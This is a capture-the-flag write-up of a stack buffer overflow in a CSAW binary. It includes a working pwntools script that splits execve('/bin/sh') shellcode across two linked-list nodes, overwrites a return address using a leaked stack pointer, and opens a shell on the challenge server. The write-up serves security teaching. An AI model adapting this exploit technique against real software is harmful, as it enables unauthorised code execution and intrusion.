* **Category:** pwn* **Points:** 100* **Description:**
> Linked lists are great! They let you chain pieces of data together.> > ```sh> nc pwn.chal.csaw.io 9005> ```>> [shellpointcode](https://ctf.csaw.io/files/32cc91e380dac838a4f2978dfd963fb3/shellpointcode)
## Writeup
For this challenge, we got an x86\_64 linux binary (not stripped, NX isdisabled) that asks us for 15 bytes of input for each of two nodes of a linkedlist.
The linked list struct looks like this:
```cstruct linked_list {    struct linked_list * next;    char data[15];};```
Both node instances lie on the stack, and the "next" pointer of the first pointsto the second.
Afterwards, it prints out the first node, revealing the stack address of thesecond node.
Then, the "goodbye" function asks for our initials and reads data in a far toosmall stack buffer (buffer overflow).
## The Attack
We can redirect program execution to the heap buffer in the second node byoverwriting the return pointer in the "goodbye" function.
We cannot directly insert off-the-shelf shellcode into the buffers because theyare too small, so we chopped pwntools' `shellcraft.sh()` shellcode in half andadded a relative jump to redirect into the other node.
This gets us a shell allowing us to see the flag:
```flag{NONONODE_YOU_WRECKED_BRO}```
## The Script
This is the cleaned up script used to extract the flag:
```pyfrom pwn import *
context.arch = "amd64"
r = remote("pwn.chal.csaw.io", 9005)
node2 = asm("""    /* push b'/bin///sh\x00' */    push 0x68    mov rax, 0x732f2f2f6e69622f    push rax""") + b"\xeb\x11"
node1 = asm("""    /* call execve('rsp', 0, 0) */    push (SYS_execve) /* 0x3b */    pop rax    mov rdi, rsp    xor esi, esi /* 0 */    cdq /* rdx=0 */    syscall""")
r.readuntil(b"1: ")print(">> node1")r.sendline(node1)r.readuntil(b"2: ")print(">> node2")r.sendline(node2)r.readline()
r.readline()r.readuntil(b": ")addr = int(r.readline()[:-1], 16)r.readline()print(">> addr", hex(addr))
r.readline()r.readline()print(">> rop")r.sendline(b"A"*11 + p64(addr+8))r.readline()
r.sendline(b"cat flag.txt")print(r.readline().decode())```